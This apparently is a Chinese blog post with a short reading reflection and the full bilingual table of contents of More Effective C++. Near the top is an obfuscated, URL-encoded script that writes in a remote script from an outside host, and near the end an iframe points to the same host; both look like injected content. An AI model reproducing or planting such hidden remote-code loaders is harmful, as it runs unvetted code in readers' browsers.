More Effective C++后记及目录

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
More Effective C++后记及目录




      
读这本书其实还是花了一点时间的,其中的一些条款的内涵及外延非常丰富。我觉得这是很用心去看的一本书,但在看书过程中,还是出现了浮躁的现象。实际上留给我看书的时间是有点不足,所以又想快些看完。事情总是两难的。
      
我接下来买了《Effective C++》的第三版,我想这可能是我认真读的最后一本C++读物了,再往后要涉猎的C++的书籍已经不多,充其量是把《C++编程思想》的第二卷看完,我还剩下后面几章了。
      
希望以后经常能够有条件看书,有条件写读书笔记。
 
目录
基础议题(
Basics

                                        

条款
1
:仔细区别
 pointers 

 references                        
Distinguish between pointers and references

条款
2
:最好使用
 C++ 
转型操作符
                            
Prefer C++-style casts

条款
3
:绝对不要以
polymorphically
(多态)方式来处理数组
    
Never treat arrays polymorphically

条款
4
:非必要不提供
 default constructor                        
Avoid gratuitous default constructors

操作符(
Operators

                                        

条款
5
:对定制的型别转换函数保持警觉
                        
Be wary of user-defined conversion functions

条款
6
:区别
 increment/decrement 
操作符的
 
前置(
prefix
)和后置(
postfix
)型式
                        
Distinguish between prefix and postfix forms of increment 
 and decrement operators

条款
7
:千万不要重载
 &&, ||, 

 , 
操作符
                    
Never overload &&, ||, or ,

条款
8
:了解各种不同意义的
 new 

 delete                
Understand the different meanings of new and delete


异常(
Exceptions

                                        

条款
9
:利用
 destructors 
避免泄漏资源
                        
Use destructors to prevent resource leaks

条款
10
:在
 constructors 
内阻止资源泄漏(
resource leaks

        
Prevent resource leaks in constructors

条款
11
:禁止异常(
exceptions
)流出
 destructors 
之外
            
Prevent exceptions from leaving destructors

条款
12
:了解「掷出一个
 exception
」与「传递一个参数」
 
或「调用一个虚函数」之间的差异
                    
Understand how throwing an exception differs from 
 passing a parameter or calling a virtual function

条款
13
:以
 by reference 
方式捕捉
 exceptions                    
Catch exceptions by reference

条款
14
:明智运用
 exception specifications                    
Use exception specifications judiciously

条款
15
:了解异常处理(
exception handling
)的成本
            
Understand the costs of exception handling


效率(
Efficiency

                                        

条款
16
:谨记
 80-20 
法则
                                   
Remember the 80-20 rule

条款
17
:考虑使用
 lazy evaluation                            
Consider using lazy evaluation

条款
18
:分期摊还预期的计算成本
                            
Amortize the cost of expected computations

条款
19
:了解暂时对象的来源
                                
Understand the origin of temporary objects

条款
20
:协助完成「返回值优化(
RVO
)」
                    
Facilitate the return value optimization

条款
21
:利用重载技术(
overload
)避免隐式型别转换
            
Overload to avoid implicit type conversions

条款
22
:考虑以操作符复合型式(
op=
)取代其独身型式(
op

Consider using op= instead of stand-alone op

条款
23
:考虑使用其它程序库
                                
Consider alternative libraries

条款
24
:了解
 virtual functions

multiple inheritance

virtual base classes

 runtime type identification 
所需的成本
                         
Understand the costs of virtual functions, multiple inheritance, 
 virtual base classes, and RTTI


技术(
Techniques, Idioms, Pattern

                         

条款
25
:将
 constructor 

 non-member functions 
虚化
             
Virtualizing constructors and non-member functions

条款
26
:限制某个
 class 
所能产生的对象数量
                 
Limiting the number of objects of a class

条款
27
:要求(或禁止)对象产生于
 heap 
之中
                  
Requiring or prohibiting heap-based objects

条款
28

Smart Pointers
(智能指针)
                          

条款
29

Reference counting
(引用计数)
                      

条款
30

Proxy classes
(替身类、代理类)
                      

条款
31
:让函数根据一个以上的对象型别来决定如何虚化
          
Making functions virtual with respect to more than one object

杂项讨论(
Miscellany

                                      

条款
32
:在未来时态下发展程序
                              
Program in the future tense

条款
33
:将非尾端类(
non-leaf classes
)设计为
 
抽象类(
abstract classes

                                      
Make non-leaf classes abstract

条款
34
:如何在同一个程序中结合
 C++ 

 C                 
Understand how to combine C++ and C in the same program

条款
35
:让自己习惯于标准
 C++ 
语言
                          
Familiarize yourself with the language standard
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值